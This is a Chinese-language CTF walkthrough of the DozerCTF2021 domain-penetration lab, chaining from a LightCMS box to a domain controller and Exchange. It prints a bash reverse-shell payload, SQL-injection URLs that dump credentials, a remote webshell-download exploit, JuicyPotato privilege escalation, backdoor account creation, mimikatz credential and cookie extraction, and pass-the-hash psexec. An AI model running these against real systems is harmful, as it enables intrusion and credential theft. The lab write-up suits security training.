DozerCTF2021 域渗透 Workthrough
字数 1961 2025-08-05 08:19:06
DozerCTF2021 域渗透实战教学文档
0x00 环境概述
本次CTF模拟了一个包含多个主机的域渗透环境,主要涉及以下系统:
- 10.10.1.47: LightCMS (Ubuntu)
- 10.10.1.234: SiteServer (Windows Server 2012)
- 10.10.1.231: MSSQL Server (Windows Server 2012)
- 10.10.1.121: DESKTOP-ALICE (Windows)
- 10.10.1.250: WordPress (Windows Server 2012)
- 10.10.1.1: 域控制器DC (Windows Server 2012)
- 10.10.1.100: Exchange Server
域环境:dozer.org
0x01 初始入口 - LightCMS (10.10.1.47)
1. 后台登录
- 已知凭证:dozer/dozer123
- 后台路径:/admin
2. 漏洞利用
方法一:文件包含RCE
- 利用
/admin/neditor/serve/catchimage接口任意文件读取 - 读取
/var/www/html/app/Http/Controllers/Admin/NEditorController.php发现文件包含漏洞 - 上传一句话木马到文章管理
- 利用文件包含执行命令:
1=system('bash -i >& /dev/tcp/ip/port 0>&1');&file=./upload/image/202105/iAWvVAZTHl35fVW29B5zk6iLh6G7K5tDQXL0PaX9.gif
方法二:非预期解
- 直接访问系统管理下的日志记录,发现flag位置:/flag_d0z3r
3. 内网信息收集
- ifconfig查看网络配置
- 查看数据库配置:/var/www/html/config/database.php
- 使用kscan/fscan扫描内网
0x02 SiteServer渗透 (10.10.1.234)
1. 发现系统
- 访问http://10.10.1.234/发现SiteServer CMS
- 后台路径:/siteserver/login.aspx
2. SQL注入获取凭证
- 利用漏洞获取用户名:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20Username%20from%20bairong_Administrator--
- 获取密码:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%201%20Password%20from%20bairong_Administrator--
- 获取Salt:
http://10.10.1.234/SiteServer/Ajax/ajaxCmsService.aspx?type=GetTitles&publishmentSystemId=1&nodeId=1&title=a%27,0)%20%3E%200%20union%20select%20TOP%202%20PasswordSalt%20from%20bairong_Administrator--
获取到凭证:Admin/leonsec
3. 远程模板下载Getshell
- 使用C#加密下载URL:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
{ static void Main(string[] args)
{
var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
var _inputString = "https://raw.fastgit.org/zhaoweiho/SiteServerCMS-Remote-download-Getshell/master/webshell/poxteam.zip";
var _outString = ""; var _noteMessage = "";
byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
try{
var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
var des = new DESCryptoServiceProvider();
var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
var ms = new MemoryStream();
var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write); cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
_outString = Convert.ToBase64String(ms.ToArray());
Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
catch (Exception error) { _noteMessage = error.Message; }
} } }
- 替换特殊字符:
str_decry.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")
- 构造请求:
http://10.10.1.234/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA050add0dg8BqV7gX0slash00slash0DhYyedHPT79r6KQFp5dKGh7t0slash03uUZA0equals00equals0&directoryName=test233
- 访问webshell:
http://10.10.1.234/SiteFiles/SiteTemplates/test233/include.aspx
4. 提权与信息收集
- 使用JuicyPotato提权:
JuicyPotatoweb.exe -p "REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
JuicyPotatoweb.exe -p "REG ADD \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" /v PortNumber /t REG_DWORD /d 0x00000d3d /f"
- 添加用户:
net user root test456123! /add
net localgroup administrators root /add
- Flag位置:网站根目录的Web.config.bak
0x03 MSSQL服务器渗透 (10.10.1.231)
1. 数据库连接
- 连接字符串:
server=10.10.1.231;uid=sa;pwd=msO.9uXC;database=site;Provider=SQLOLEDB;
2. 利用xp_cmdshell
- 执行系统命令:
Exec master.dbo.xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt'
- Flag:DozerCTF{b305d6b074502f341e793c29d821cadd}
3. 内存转储分析
- 发现DozerOCS.exe进程
- 创建转储文件并分析:
strings DozerOCS.DMP | grep ldap
- 获取Alice用户凭证:
ldap://dc01.dozer.org:389|CN=AliceAlc,CN=Users,DC=dozer,DC=org|FkuWvj08
0x04 DESKTOP-ALICE渗透 (10.10.1.121)
1. 远程登录
- 使用Alice用户凭证:Alice/FkuWvj08
- 桌面获取flag
2. 浏览器信息收集
- 查看Chrome Cookie:
C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies
- 使用mimikatz解密:
dpapi::chrome /in:"C:\Users\ALICE\AppData\Local\Google\Chrome\User Data\Default\Cookies" /unprotect
- 发现WordPress凭证:
UserName,Password,LoginUrl,CreateDate
Alice,Alice@Dozer@2021,http://10.10.1.250,2021-05-27T22:57:09+08:00
0x05 WordPress渗透 (10.10.1.250)
1. 后台登录
- 凭证:Alice/Alice@Dozer@2021
2. 插件上传webshell
- 通过插件管理器上传一句话木马
- 访问webshell:
http://10.10.1.250/wp-content/plugins/hello.php
- Flag位置:wordpress用户桌面
0x06 域控制器渗透 (10.10.1.1)
1. MS17-010漏洞利用
- 使用fscan扫描确认漏洞存在
- 使用impacket工具连接:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:9912e73b8ee265638b43d105fdb4c6f4 dozer/Administrator@10.10.1.1
- 桌面获取flag
2. 密码抓取
- 使用mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
- 获取Administrator明文密码:Admin890...
0x07 Exchange Server渗透 (10.10.1.100)
1. 邮箱委托攻击
- 使用域管Administrator登录Exchange管理中心:
https://10.10.1.100/ecp/
- 为flag用户设置邮箱委托,添加Administrator用户
- 访问flag用户邮箱:
https://10.10.1.100/owa/flag@dozer.org/
0x08 总结
本次域渗透涉及多种技术:
- Web应用漏洞利用(LightCMS、SiteServer、WordPress)
- 内网横向移动技术
- Windows提权技术(JuicyPotato)
- 数据库利用(MSSQL的xp_cmdshell)
- 域渗透技术(AD Explorer、Exchange邮箱委托)
- 密码抓取与破解(mimikatz)
关键路径:
LightCMS → SiteServer → MSSQL → DESKTOP-ALICE → WordPress → 域控制器 → Exchange Server